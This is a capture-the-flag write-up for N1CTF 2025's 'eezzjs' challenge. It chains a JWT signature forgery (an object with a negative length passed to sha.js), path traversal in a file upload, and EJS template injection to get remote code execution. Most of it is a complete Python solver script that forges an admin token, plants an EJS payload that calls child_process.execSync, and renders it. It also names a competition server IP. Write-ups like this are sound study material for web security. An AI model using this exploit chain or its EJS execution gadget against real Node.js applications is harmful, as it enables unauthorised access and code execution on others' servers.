N1CTF 2025
N1CTF 2025

N1CTF 2025

eezzjs — Auth Bypass + Path Traversal → EJS RCE

This challenge chains multiple misconfigurations in a small Express app to achieve RCE and read the flag.
  • Stack: Node.js, Express, EJS, sha.js
  • Targets:
    • JWT signing and verification in auth.js
    • Upload endpoint and view rendering in app.js

High-Level Exploit Chain

  1. JWT auth bypass:
      • Custom "JWT" signature is computed as sha256(JSON.stringify(header), payloadObject, secret).
      • sha.js's update() accepts non-string inputs and treats objects with a length property as array-likes.
      • By supplying a payload object with a crafted negative length, the update(payload) step becomes a no-op internally. With a particular call pattern, the digest is forced to the library's "empty feed" state.
      • Use the constant "magic" hex digest that matches the server's recomputed signature in verifyJWT(...).
  1. Path traversal write primitive:
      • POST /upload writes filedata to path.join(uploadDir, filename), only blocking filenames containing js (regex on the extension).
      • filename="../../app/views/exploit_<nonce>.ejs/a/.." escapes /uploads and writes an EJS template into the app's views folder.
  1. EJS template rendering:
      • GET / takes a query parameter templ=<name> and calls res.render(templ, ...).
      • Render our uploaded exploit_<nonce>.ejs to execute server-side JS and read the flag.
End result: Read /ffffffflag (as per start.sh) or /flag depending on deployment.

Vulnerable Code Highlights

  • Signature construction (auth.js):
    • // signJWT(...) sha256(...[JSON.stringify(header), body, secret]) // body is an object here
  • Signature verification (auth.js):
    • // verifyJWT(...) const expected = sha256(...[JSON.stringify(header), payload, secret]) // payload is an object
  • Upload sink (app.js):
    • var filepath = path.join(uploadDir, filename); // traversal not blocked if (/js/i.test(ext)) deny(); // only looks for "js" in extension, .ejs allowed fs.writeFile(filepath, filedata, 'base64', cb);
  • Templating sink (app.js):
    • // GET / const templ = req.query.templ || 'index'; res.render(templ, { filenames: fs.readdirSync(lsPath), path: req.path });

Working Solver

This script:
  • Forges a JWT by setting a payload with a negative length so the server's recomputation yields a predictable "magic" digest.
  • Uploads an EJS gadget outside /uploads into views/.
  • Renders it to execute arbitrary code and print the flag.
Note: The example reads /flag. In your container, start.sh writes the flag to /ffffffflag. Switch FLAG_PATH accordingly.
import base64 import httpx from secrets import token_hex def b64url(b: bytes) -> str: return base64.urlsafe_b64encode(b).rstrip(b"=").decode("ascii") def main(): # Change to the target host url = "<http://127.0.0.1:3000>" # url = "<http://60.205.163.215:25217>" c = httpx.Client(base_url=url, timeout=15.0) # 1) Forge JWT header = b'{"alg":"HS256","typ":"JWT"}' # The body is chosen so that verifyJWT's sha256(JSON.stringify(header), payloadObj, secret) # falls into the "empty feed" signature state for the library/version used server-side. # The negative length is the key; the constant below is the matching "magic hash". body = b'{"length":-%d,"username":"admin"}' % (len(header) + 18) MAGIC_EMPTY_STATE_SHA256 = "674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1" token = b64url(header) + "." + b64url(body) + "." + MAGIC_EMPTY_STATE_SHA256 c.cookies.set("token", token) print(f"[+] token = {token}") # 2) Upload EJS to views via traversal FLAG_PATH = "/ffffffflag" # change to "/flag" if the infra uses that path ssti = f""" <% const cp = (Function('return process'))().mainModule.require('child_process'); const out = cp.execSync('cat {FLAG_PATH}').toString('utf8'); %> <pre><%= out %></pre> """.strip().encode() nonce = token_hex(2) target_name = f"../../app/views/exploit_{nonce}.ejs/a/.." # normalize → /app/views/exploit_*.ejs r = c.post( "/upload", json={ "filename": target_name, "filedata": base64.b64encode(ssti).decode(), }, ) print(f"[+] upload status = {r.status_code}") if r.status_code == 302: raise SystemExit("[-] got redirected to /login → forged token failed") # 3) Render our template r = c.get("/", params={"templ": f"exploit_{nonce}.ejs"}) print("[+] Response:") print(r.text) if __name__ == "__main__": main()